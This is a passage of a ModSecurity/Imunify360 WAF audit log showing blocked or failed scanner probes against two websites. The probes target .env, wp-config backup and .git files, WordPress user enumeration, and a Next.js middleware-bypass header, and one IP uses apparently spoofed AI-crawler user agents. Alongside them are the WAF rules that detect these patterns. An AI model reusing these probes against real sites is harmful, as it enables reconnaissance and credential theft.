Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/wp-config.php~"] [unique_id "aqZoQEwu1RSkptiiNIX4IAAAAIo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/wp-config.php~"] [unique_id "aqZoQEwu1RSkptiiNIX4IAAAAIo"]
Action: Intercepted (phase 2)
Stopwatch: 1789290560302006 67050 (- - -)
Stopwatch2: 1789290560302006 67050; combined=65941, p1=244, p2=65459, p3=0, p4=0, p5=237, sr=94, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--15bcfc50-Z--

--6f7c6b6b-A--
[13/Sep/2026:12:09:20.393640 +0300] aqZoQGM7dE9KgIIOpQh0IgAAAMA 34.73.246.242 56680 127.0.0.1 7081
--6f7c6b6b-B--
GET /wp/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6f7c6b6b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6f7c6b6b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/wp/.env"] [unique_id "aqZoQGM7dE9KgIIOpQh0IgAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290560278891 114815 (- - -)
Stopwatch2: 1789290560278891 114815; combined=4352, p1=233, p2=4045, p3=0, p4=0, p5=74, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6f7c6b6b-Z--

--f570ce04-A--
[13/Sep/2026:12:09:23.133186 +0300] aqZoQysVWymXUono-eRU1wAAAAM 34.73.246.242 57024 127.0.0.1 7081
--f570ce04-B--
POST /api HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 452
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----r2sx8kpzhjqp7fn
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
Next-Action: r2s
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
Accept-Encoding: gzip

--f570ce04-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f570ce04-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290563062013 71254 (- - -)
Stopwatch2: 1789290563062013 71254; combined=5427, p1=237, p2=4852, p3=0, p4=0, p5=338, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f570ce04-Z--

--45d4e64c-A--
[13/Sep/2026:12:09:23.406348 +0300] aqZoQzTJ6xTvcJoem7f6jwAAAE4 34.73.246.242 57036 127.0.0.1 7081
--45d4e64c-B--
POST /api/v1/validate/code HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 166
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Content-Type: application/json
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
Accept-Encoding: gzip

--45d4e64c-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--45d4e64c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290563335855 70567 (- - -)
Stopwatch2: 1789290563335855 70567; combined=5472, p1=260, p2=4750, p3=0, p4=0, p5=461, sr=93, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--45d4e64c-Z--

--f6221d65-A--
[13/Sep/2026:12:09:23.929194 +0300] aqZoQ2M7dE9KgIIOpQh0MQAAAM0 34.73.246.242 57050 127.0.0.1 7081
--f6221d65-B--
POST /api/fs/exec HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 27
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Content-Type: application/json
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
Accept-Encoding: gzip

--f6221d65-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f6221d65-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290563857140 72114 (- - -)
Stopwatch2: 1789290563857140 72114; combined=7285, p1=350, p2=6623, p3=0, p4=0, p5=311, sr=147, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f6221d65-Z--

--2e960654-A--
[13/Sep/2026:12:09:24.298693 +0300] aqZoREwu1RSkptiiNIX4IwAAAI8 34.73.246.242 57060 127.0.0.1 7081
--2e960654-B--
DELETE /api/inngest HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
Accept-Encoding: gzip

--2e960654-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2e960654-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290564199323 99434 (- - -)
Stopwatch2: 1789290564199323 99434; combined=4183, p1=359, p2=3486, p3=0, p4=0, p5=337, sr=108, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2e960654-Z--

--72bebb09-A--
[13/Sep/2026:12:09:24.595270 +0300] aqZoREwu1RSkptiiNIX4JAAAAIQ 34.73.246.242 57066 127.0.0.1 7081
--72bebb09-B--
DELETE /inngest HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
Accept-Encoding: gzip

--72bebb09-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--72bebb09-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290564493111 102251 (- - -)
Stopwatch2: 1789290564493111 102251; combined=4329, p1=217, p2=3718, p3=0, p4=0, p5=394, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--72bebb09-Z--

--d017410c-A--
[13/Sep/2026:12:09:24.893748 +0300] aqZoRGM7dE9KgIIOpQh0MgAAAMY 34.73.246.242 57072 127.0.0.1 7081
--d017410c-B--
POST /read-document HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 34
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Content-Type: application/json
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
Accept-Encoding: gzip

--d017410c-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d017410c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290564825569 68238 (- - -)
Stopwatch2: 1789290564825569 68238; combined=5417, p1=308, p2=4811, p3=0, p4=0, p5=298, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d017410c-Z--

--b7f26b4e-A--
[13/Sep/2026:12:09:25.151292 +0300] aqZoRUwu1RSkptiiNIX4JQAAAIY 34.73.246.242 57074 127.0.0.1 7081
--b7f26b4e-B--
POST /read-document HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 20
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Content-Type: application/json
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
Accept-Encoding: gzip

--b7f26b4e-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b7f26b4e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290565085011 66359 (- - -)
Stopwatch2: 1789290565085011 66359; combined=4975, p1=253, p2=4393, p3=0, p4=0, p5=328, sr=89, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b7f26b4e-Z--

--d38f0860-A--
[13/Sep/2026:12:09:25.521791 +0300] aqZoRUwu1RSkptiiNIX4JgAAAJU 34.73.246.242 57088 127.0.0.1 7081
--d38f0860-B--
POST /mcp HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 168
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Content-Type: application/json
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
Accept-Encoding: gzip

--d38f0860-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d38f0860-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290565459456 62395 (- - -)
Stopwatch2: 1789290565459456 62395; combined=5371, p1=348, p2=4705, p3=0, p4=0, p5=318, sr=203, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d38f0860-Z--

--8909202e-A--
[13/Sep/2026:12:10:10.819975 +0300] aqZocmM7dE9KgIIOpQh0PAAAAME 192.109.139.3 48068 127.0.0.1 7081
--8909202e-B--
GET //?author=1 HTTP/1.1
Host: chania24.taxi
X-Real-IP: 192.109.139.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

--8909202e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8909202e-E--

--8909202e-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290610225643 594415 (- - -)
Stopwatch2: 1789290610225643 594415; combined=2893, p1=240, p2=2476, p3=87, p4=33, p5=57, sr=120, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8909202e-Z--

--01191646-A--
[13/Sep/2026:12:10:11.793547 +0300] aqZoc2M7dE9KgIIOpQh0PQAAANI 192.109.139.3 48072 127.0.0.1 7081
--01191646-B--
GET //?author=2 HTTP/1.1
Host: chania24.taxi
X-Real-IP: 192.109.139.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

--01191646-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--01191646-E--

--01191646-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:2||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290611108309 685331 (- - -)
Stopwatch2: 1789290611108309 685331; combined=2836, p1=245, p2=2455, p3=77, p4=23, p5=36, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--01191646-Z--

--7f7a9755-A--
[13/Sep/2026:12:10:15.095517 +0300] aqZodGM7dE9KgIIOpQh0PgAAAMI 192.109.139.3 48082 127.0.0.1 7081
--7f7a9755-B--
GET //wp-json/wp/v2/users/ HTTP/1.1
Host: chania24.taxi
X-Real-IP: 192.109.139.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

--7f7a9755-F--
HTTP/1.1 401 Unauthorized
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Allow: GET
Vary: Origin
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8

--7f7a9755-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Message: Operator EQ matched 0 at REQUEST_COOKIES. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "426"] [id "77316783"] [msg "IM360 WAF: Monitoring WordPress 5.3 User Enumeration attempts||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "wp_core"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290612065652 3030058 (- - -)
Stopwatch2: 1789290612065652 3030058; combined=33163, p1=203, p2=32868, p3=0, p4=0, p5=92, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7f7a9755-Z--

--b280f153-A--
[13/Sep/2026:12:12:05.421160 +0300] aqZo5DTJ6xTvcJoem7f6kgAAAFQ 172.86.81.63 40206 127.0.0.1 7081
--b280f153-B--
GET /.git/objects/info/packs HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--b280f153-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b280f153-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/objects/info/packs||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/objects/info/packs||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/objects/info/packs"] [unique_id "aqZo5DTJ6xTvcJoem7f6kgAAAFQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290724997712 423497 (- - -)
Stopwatch2: 1789290724997712 423497; combined=5249, p1=226, p2=4965, p3=0, p4=0, p5=58, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b280f153-Z--

--8bee3469-A--
[13/Sep/2026:12:12:05.453088 +0300] aqZo5WM7dE9KgIIOpQh0RwAAANg 172.86.81.63 40248 127.0.0.1 7081
--8bee3469-B--
GET /.git/packed-refs HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--8bee3469-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8bee3469-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/packed-refs||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/packed-refs||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/packed-refs"] [unique_id "aqZo5WM7dE9KgIIOpQh0RwAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725068239 384907 (- - -)
Stopwatch2: 1789290725068239 384907; combined=4178, p1=191, p2=3920, p3=0, p4=0, p5=66, sr=77, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8bee3469-Z--

--69ed9e44-A--
[13/Sep/2026:12:12:05.540052 +0300] aqZo5TTJ6xTvcJoem7f6kwAAAFM 172.86.81.63 40230 127.0.0.1 7081
--69ed9e44-B--
GET /.git/info/exclude HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--69ed9e44-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--69ed9e44-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/info/exclude||"] [severity "NOTICE"] [tag "service_i360custom"]
